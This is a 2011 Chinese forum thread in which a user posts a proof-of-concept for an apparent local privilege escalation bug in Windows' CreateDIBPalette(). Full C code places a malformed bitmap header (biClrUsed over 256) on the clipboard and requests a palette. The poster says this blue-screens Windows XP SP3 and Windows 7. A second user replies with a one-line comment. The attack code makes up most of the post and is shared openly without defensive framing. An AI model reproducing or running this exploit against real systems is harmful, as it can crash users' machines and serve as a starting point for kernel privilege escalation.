Tesla.Angela 发表于 2011-1-7 23:52:09

CreateDIBPalette()函数本地权限提升漏洞

很久以前某网友在QQ上给我的,不知道现在修复了没有。。。
经我测试,可以在Windows XP SP3和Windows 7 x86/x64 RTM上引发蓝屏。。。
#include <windows.h>
#define CF_DIBV5 17
int main()
{
    DEVMODE dm = {0};
    dm.dmSize = sizeof(DEVMODE);
    dm.dmBitsPerPel = 8;
    dm.dmPelsWidth = 800;
    dm.dmPelsHeight = 600;
    dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
    ChangeDisplaySettings(&dm, 0);
    BITMAPINFOHEADER bmih = {0};
    bmih.biClrUsed = 0x200;//超过256
    HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0x1000);
    memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
    GlobalUnlock(h);
    ::OpenClipboard(NULL);
    ::SetClipboardData(CF_DIBV5, (HANDLE)h);
    ::CloseClipboard();
    ::OpenClipboard(NULL);
    ::GetClipboardData(CF_PALETTE);
    return 0;
}
IDE是Code::Blocks 10.05。

nbboy 发表于 2011-1-8 11:33:01

围观又一个漏洞!
页: [1]
查看完整版本: CreateDIBPalette()函数本地权限提升漏洞